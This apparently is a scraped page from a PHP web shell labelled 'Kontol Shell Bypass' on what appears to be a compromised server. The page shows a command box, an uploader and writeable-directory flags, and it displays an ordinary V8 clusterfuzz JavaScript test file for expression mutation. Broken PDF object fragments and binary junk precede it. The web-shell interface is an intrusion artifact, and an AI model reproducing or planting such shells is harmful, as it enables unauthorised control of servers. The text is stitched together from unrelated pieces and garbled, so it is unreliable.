%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/deps/v8/tools/clusterfuzz/js_fuzzer/test/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/deps/v8/tools/clusterfuzz/js_fuzzer/test/test_mutate_expressions.js
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview Tests for mutating expressions
 */

'use strict';

const assert = require('assert');

const babelTypes = require('@babel/types');
const sinon = require('sinon');

const common = require('../mutators/common.js');
const expressionMutator = require('../mutators/expression_mutator.js');
const helpers = require('./helpers.js');
const scriptMutator = require('../script_mutator.js');
const sourceHelpers = require('../source_helpers.js');
const random = require('../random.js');

const sandbox = sinon.createSandbox();

function testCloneSiblings(expected_file) {
  const source = helpers.loadTestData('mutate_expressions.js');

  const settings = scriptMutator.defaultSettings();
  settings['MUTATE_EXPRESSIONS'] = 1.0;

  const mutator = new expressionMutator.ExpressionMutator(settings);
  mutator.mutate(source);

  const mutated = sourceHelpers.generateCode(source);
  helpers.assertExpectedResult(expected_file, mutated);
}

describe('Mutate expressions', () => {
  beforeEach(() => {
    // Select the previous sibling.
    sandbox.stub(random, 'randInt').callsFake((a, b) => b);
    // This chooses cloning siblings.
    sandbox.stub(random, 'random').callsFake(() => 0.8);
  });

  afterEach(() => {
    sandbox.restore();
  });

  it('clones previous to current', () => {
    // Keep the order of [previous, current], select previous.
    sandbox.stub(random, 'shuffle').callsFake(a => a);
    // Insert after. Keep returning true for the MUTATE_EXPRESSIONS check.
    sandbox.stub(random, 'choose').callsFake(a => a === 1);

    testCloneSiblings('mutate_expressions_previous_expected.js');
  });

  it('clones current to previous', () => {
    // Switch the order of [previous, current], select current.
    sandbox.stub(random, 'shuffle').callsFake(a => [a[1], a[0]]);
    // Insert before.
    sandbox.stub(random, 'choose').callsFake(() => true);

    testCloneSiblings('mutate_expressions_current_expected.js');
  });
});

describe('Cloning', () => {
  // Ensure that the source location we add are not cloned.
  it('is not copying added state', () => {
    const source = helpers.loadTestData('mutate_expressions.js');
    common.setSourceLoc(source, 5, 10);
    const noopNode = source.ast.program.body[0];
    assert.equal(0.5, common.getSourceLoc(noopNode));
    const cloned = babelTypes.cloneDeep(noopNode);
    assert.equal(undefined, common.getSourceLoc(cloned));
  });
});

Kontol Shell Bypass